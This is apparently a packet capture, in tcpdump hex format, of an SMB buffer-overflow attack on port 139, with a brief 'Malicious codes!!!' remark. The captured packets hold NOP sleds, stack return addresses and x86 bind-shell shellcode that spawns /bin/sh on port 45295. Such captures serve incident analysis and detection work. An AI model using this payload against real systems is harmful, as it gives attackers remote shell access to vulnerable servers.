0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 90ec  .............p..
0x0480      fbff bf7c fcff bfec fbff bf7c fcff bfec  ...|.......|....
0x0490      fbff bf7c fcff bfec fbff bf7c fcff bfec  ...|.......|....
0x04a0      fbff bf7c fcff bfec fbff bf7c fcff bfec  ...|.......|....
0x04b0      fbff bf7c fcff bfec fbff bf7c fcff bfec  ...|.......|....
0x04c0      fbff bf7c fcff bfec fbff bf7c fcff bfec  ...|.......|....
0x04d0      fbff bf7c fcff bfec fbff bf7c fcff bf90  ...|.......|....
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.425666 XX.XX.XXX.164.34129 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8864872 8427759>NBT Packet (DF)
0x0000      4500 05dc a8da 4000 2f06 6c06 3e10 69a4  E.....@./.l.>.i.
0x0010      800a 097d 8551 008b 6985 f1a6 6ff1 7b50  ...}.Q..i...o.{P
0x0020      8010 16d0 0e9e 0000 0101 080a 0087 4468  ..............Dh
0x0030      0080 98ef 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.425668 XX.XX.XXX.164.34137 > XXX.XX.X.137.45295: S 1766667277:1766667277(0) win 5840 <mss 1460,sackOK,timestamp 8864872 0,nop,wscale 0> (DF)
0x0000      4500 003c 7065 4000 2f06 aa1b 3e10 69a4  E..<pe@./...>.i.
0x0010      800a 097d 8559 b0ef 694d 340d 0000 0000  ...}.Y..iM4.....
0x0020      a002 16d0 e768 0000 0204 05b4 0402 080a  .....h..........
0x0030      0087 4468 0000 0000 0103 0300            ..Dh........
11:41:18.425766 XX.XX.XXX.164.34129 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8864872 8427759>NBT Packet (DF)
0x0000      4500 0483 a8db 4000 2f06 6d5e 3e10 69a4  E.....@./.m^>.i.
0x0010      800a 097d 8551 008b 6985 f74e 6ff1 7b50  ...}.Q..i..No.{P
0x0020      8019 16d0 718f 0000 0101 080a 0087 4468  ....q.........Dh
0x0030      0080 98ef 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:18.452812 XX.XX.XXX.164.34131 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8864887 8427762> (DF)
0x0000      4500 0034 07f7 4000 2f06 1292 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 8553 008b 69af 4470 6f9c d3dd  ...}.S..i.Dpo...
0x0020      8010 16d0 d8c8 0000 0101 080a 0087 4477  ..............Dw
0x0030      0080 98f2                                ....
11:41:18.452976 XX.XX.XXX.164.34131 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8864887 8427762>NBT Packet (DF)
0x0000      4500 0074 07f8 4000 2f06 1251 3e10 69a4  E..t..@./..Q>.i.
0x0010      800a 097d 8553 008b 69af 4470 6f9c d3dd  ...}.S..i.Dpo...
0x0020      8018 16d0 3809 0000 0101 080a 0087 4477  ....8.........Dw
0x0030      0080 98f2 0000 003c ff53 4d42 7000 0000  .......<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4d09 6400 0000 0000 0000 5c5c 6970  ..M.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.461888 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: S 1870072505:1870072505(0) ack 1766430612 win 5792 <mss 1460,sackOK,timestamp 8427775 8864872,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8558 6f77 0ab9 6949 9794  >.i....Xow..iI..
0x0020      a012 16a0 20bb 0000 0204 05b4 0402 080a  ................
0x0030      0080 98ff 0087 4468 0103 0300            ......Dh....
11:41:18.461898 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: S 1870072505:1870072505(0) ack 1766430612 win 5792 <mss 1460,sackOK,timestamp 8427775 8864872,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8558 6f77 0ab9 6949 9794  >.i....Xow..iI..
0x0020      a012 16a0 20bb 0000 0204 05b4 0402 080a  ................
0x0030      0080 98ff 0087 4468 0103 0300            ......Dh....
11:41:18.462866 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: . ack 3011 win 8688 <nop,nop,timestamp 8427775 8864872> (DF)
0x0000      4500 0034 e229 4000 4006 275f 800a 097d  E..4.)@.@.'_...}
0x0010      3e10 69a4 008b 8551 6ff1 7b50 6985 f74e  >.i....Qo.{Pi..N
0x0020      8010 21f0 7330 0000 0101 080a 0080 98ff  ..!.s0..........
0x0030      0087 4468                                ..Dh
11:41:18.462873 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: . ack 3011 win 8688 <nop,nop,timestamp 8427775 8864872> (DF)
0x0000      4500 0034 e229 4000 4006 275f 800a 097d  E..4.)@.@.'_...}
0x0010      3e10 69a4 008b 8551 6ff1 7b50 6985 f74e  >.i....Qo.{Pi..N
0x0020      8010 21f0 7330 0000 0101 080a 0080 98ff  ..!.s0..........
0x0030      0087 4468                                ..Dh
11:41:18.463516 XXX.XX.X.137.45295 > XX.XX.XXX.164.34137: R 0:0(0) ack 1766667278 win 0 (DF)
0x0000      4500 0028 0000 4000 ff06 4a94 800a 097d  E..(..@...J....}
0x0010      3e10 69a4 b0ef 8559 0000 0000 694d 340e  >.i....Y....iM4.
0x0020      5014 0000 aaf0 0000                      P.......
11:41:18.463522 XXX.XX.X.137.45295 > XX.XX.XXX.164.34137: R 0:0(0) ack 1 win 0 (DF)
0x0000      4500 0028 0000 4000 ff06 4a94 800a 097d  E..(..@...J....}
0x0010      3e10 69a4 b0ef 8559 0000 0000 694d 340e  >.i....Y....iM4.
0x0020      5014 0000 aaf0 0000                      P.......
11:41:18.465392 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427776 8864887>NBT Packet (DF)
0x0000      4500 005f 4b43 4000 4006 be1a 800a 097d  E.._KC@.@......}
0x0010      3e10 69a4 008b 8553 6f9c d3dd 69af 44b0  >.i....So...i.D.
0x0020      8018 16a0 662f 0000 0101 080a 0080 9900  ....f/..........
0x0030      0087 4477 0000 0027 ff53 4d42 7000 0000  ..Dw...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4d09 6400 0000 02ff ff01 0000 00    ..M.d..........
11:41:18.465402 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427776 8864887>NBT Packet (DF)
0x0000      4500 005f 4b43 4000 4006 be1a 800a 097d  E.._KC@.@......}
0x0010      3e10 69a4 008b 8553 6f9c d3dd 69af 44b0  >.i....So...i.D.
0x0020      8018 16a0 662f 0000 0101 080a 0080 9900  ....f/..........
0x0030      0087 4477 0000 0027 ff53 4d42 7000 0000  ..Dw...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4d09 6400 0000 02ff ff01 0000 00    ..M.d..........
11:41:18.467365 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427776 8864872> (DF)
0x0000      4500 0034 e22a 4000 4006 275e 800a 097d  E..4.*@.@.'^...}
0x0010      3e10 69a4 008b 8551 6ff1 7b50 6985 fb9e  >.i....Qo.{Pi...
0x0020      8014 2d40 638b 0000 0101 080a 0080 9900  ..-@c...........
0x0030      0087 4468                                ..Dh
11:41:18.467375 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427776 8864872> (DF)
0x0000      4500 0034 e22a 4000 4006 275e 800a 097d  E..4.*@.@.'^...}
0x0010      3e10 69a4 008b 8551 6ff1 7b50 6985 fb9e  >.i....Qo.{Pi...
0x0020      8014 2d40 638b 0000 0101 080a 0080 9900  ..-@c...........
0x0030      0087 4468                                ..Dh
11:41:18.487394 XX.XX.XXX.164.34135 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8864902 8427765> (DF)
0x0000      4500 0034 2cd1 4000 2f06 edb7 3e10 69a4  E..4,.@./...>.i.
0x0010      800a 097d 8557 008b 6989 68e4 6f43 528e  ...}.W..i.h.oCR.
0x0020      8010 16d0 360d 0000 0101 080a 0087 4486  ....6.........D.
0x0030      0080 98f5                                ....
11:41:18.487397 XX.XX.XXX.164.34135 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8864903 8427765>NBT Packet (DF)
0x0000      4500 0066 2cd2 4000 2f06 ed84 3e10 69a4  E..f,.@./...>.i.
0x0010      800a 097d 8557 008b 6989 68e4 6f43 528e  ...}.W..i.h.oCR.
0x0020      8018 16d0 9ff9 0000 0101 080a 0087 4487  ..............D.
0x0030      0080 98f5 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4f09 6400 0100 00ff 0000 0000 2002  ..O.d...........
0x0060      0001 0000 0000                           ......
11:41:18.488294 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: . ack 51 win 5792 <nop,nop,timestamp 8427778 8864903> (DF)
0x0000      4500 0034 cb8c 4000 4006 3dfc 800a 097d  E..4..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 528e 6989 6916  >.i....WoCR.i.i.
0x0020      8010 16a0 35fd 0000 0101 080a 0080 9902  ....5...........
0x0030      0087 4487                                ..D.
11:41:18.488302 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: . ack 51 win 5792 <nop,nop,timestamp 8427778 8864903> (DF)
0x0000      4500 0034 cb8c 4000 4006 3dfc 800a 097d  E..4..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 528e 6989 6916  >.i....WoCR.i.i.
0x0020      8010 16a0 35fd 0000 0101 080a 0080 9902  ....5...........
0x0030      0087 4487                                ..D.
11:41:18.508714 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427781 8864903>NBT Packet (DF)
0x0000      4500 0061 cb8d 4000 4006 3dce 800a 097d  E..a..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 528e 6989 6916  >.i....WoCR.i.i.
0x0020      8018 16a0 bc73 0000 0101 080a 0080 9905  .....s..........
0x0030      0087 4487 0000 0029 ff53 4d42 7300 0000  ..D....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4f09 6400 0100 03ff 0000 0001 0000  ..O.d...........
0x0060      00                                       .
11:41:18.508723 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427781 8864903>NBT Packet (DF)
0x0000      4500 0061 cb8d 4000 4006 3dce 800a 097d  E..a..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 528e 6989 6916  >.i....WoCR.i.i.
0x0020      8018 16a0 bc73 0000 0101 080a 0080 9905  .....s..........
0x0030      0087 4487 0000 0029 ff53 4d42 7300 0000  ..D....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4f09 6400 0100 03ff 0000 0001 0000  ..O.d...........
0x0060      00                                       .
11:41:18.527012 XX.XX.XXX.164.34138 > XXX.XX.X.137.139: S 1761607396:1761607396(0) win 5840 <mss 1460,sackOK,timestamp 8864925 0,nop,wscale 0> (DF)
0x0000      4500 003c ba79 4000 2f06 6007 3e10 69a4  E..<.y@./.`.>.i.
0x0010      800a 097d 855a 008b 68ff fee4 0000 0000  ...}.Z..h.......
0x0020      a002 16d0 cd0d 0000 0204 05b4 0402 080a  ................
0x0030      0087 449d 0000 0000 0103 0300            ..D.........
11:41:18.529946 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: S 1866202604:1866202604(0) ack 1761607397 win 5792 <mss 1460,sackOK,timestamp 8427784 8864925,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 855a 6f3b fdec 68ff fee5  >.i....Zo;..h...
0x0020      a012 16a0 c67b 0000 0204 05b4 0402 080a  .....{..........
0x0030      0080 9908 0087 449d 0103 0300            ......D.....
11:41:18.529960 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: S 1866202604:1866202604(0) ack 1761607397 win 5792 <mss 1460,sackOK,timestamp 8427784 8864925,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 855a 6f3b fdec 68ff fee5  >.i....Zo;..h...
0x0020      a012 16a0 c67b 0000 0204 05b4 0402 080a  .....{..........
0x0030      0080 9908 0087 449d 0103 0300            ......D.....
 

Malicious codes!!!

11:41:18.532216 XX.XX.XXX.164.34130 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8864927 8427767>NBT Packet (DF)
0x0000      4500 05dc 5a5d 4000 2f06 ba83 3e10 69a4  E...Z]@./...>.i.
0x0010      800a 097d 8552 008b 692b 1a3f 6f44 bd82  ...}.R..i+.?oD..
0x0020      8010 16d0 11c2 0000 0101 080a 0087 449f  ..............D.
0x0030      0080 98f7 0004 0830 ff53 4d42 3200 0000  .......0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
